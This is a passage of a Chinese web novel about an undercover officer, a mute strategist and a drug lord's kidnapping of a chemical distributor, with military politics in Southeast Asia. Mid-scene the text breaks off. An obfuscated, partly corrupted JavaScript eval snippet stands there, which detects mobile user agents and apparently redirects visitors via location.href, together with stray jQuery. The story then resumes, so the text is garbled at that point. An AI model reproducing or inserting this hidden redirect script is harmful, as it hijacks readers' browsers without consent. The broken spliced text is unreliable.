何以安并未接话,只看着奚也。
【我还知道,他是暹泰当地一个门路极多的化学品分销商,也是你的线人。你作为助理陪同在他身边,借机靠近唐金生。因为唐金生要发展新型毒品,就必然需要大量管制化学品,比如可以制成冰.毒的甲基苯.丙胺药片和胶囊,或者可以制作天使粉的苯环己哌啶。】
【恰好又在这时,棉滇军方委托唐金生炮制一起自导自演的绑架惨案,而唐金生则借此机会,选中你们所在船只下手,其目的恐怕正是这个化学品分销商。】
屋内一片安静。
片刻后,何以安轻轻鼓掌:“不愧是‘诗人’。”
奚也对他的一切马屁免疫,又写:【你办法是对的,但你方向错了。巴别塔的运输渠道与以往的任何毒品都不相同,当初你能在我留下的线索里找到巴别塔的踪迹,纯属侥幸。也正因如此,你们才会三年来始终无法触及巴别塔毒品的真正核心。你的身份已经在毒贩那里暴露了,等你身体情况再稳定一些,我会让聂总接你回去。】
“不行!”何以安猛地坐直身体,“毒贩是冲我的线人来的,他现在极有可能已经落入唐金生手中,我得去救他!”
他动作太急,一时牵扯到伤口,疼得他猛吸了几口气。
奚也按住他肩膀让他躺下。
【不急,我今天特地赶来见你一面,就是为了告诉你,你的线人我来救,交给我处理。】
何以安不了解奚也在东南亚的能耐,他有些迟疑:“你怎么救?我们连唐金生把人带到了哪都不清楚。”
奚也神色淡淡,他背对门口朝外面招了招手。
罗昌裕立马推门而入,来到奚也身后:“老板。”
奚也对他比划一串手语。
何以安看看罗昌裕,又看看奚也。
奚也:“……”
他撇开脸,冲罗昌裕递了个眼神。
罗昌裕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16345602|183511||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
会意,将刚才奚也说的话翻译给何以安听:“老板说,唐金生借棉滇军方之名行私欲,动了不该动的人,得罪中方,也牵连了棉滇军方。老板要我把这个消息告诉军方的人,让他们自己掂量:是继续头铁包庇凶手,硬扛中国警方,还是趁早弃卒保帅、断尾求生。”
“军方真的会照你说的做?”何以安皱眉。
罗昌裕替奚也回答:“他们会答应的,军方内部表面上和和气气,实则互相都在盯对方错处。”
奚也点点头,冲罗昌裕竖起大拇指。
实在不行,他也还能关门放昂山赞咬他们。
****
“什么!军方要结束跟我们的合作?”唐金生攥着紫檀木佛珠,猛然一拍红木沙发,脸色瞬间铁青。
一排下属被吓得齐齐一抖,噤若寒蝉。
“是……是的,老大,军方跟我们说,你为了绑走一个化学品分销商,杀了不该杀的人,把整个中国警方的目光都引到了三邦谷。他们得罪不起,也承受不住这么大的压力。所以就……就只能放弃咱们。”
“这帮狗娘养的怂货。”唐金生深吸一口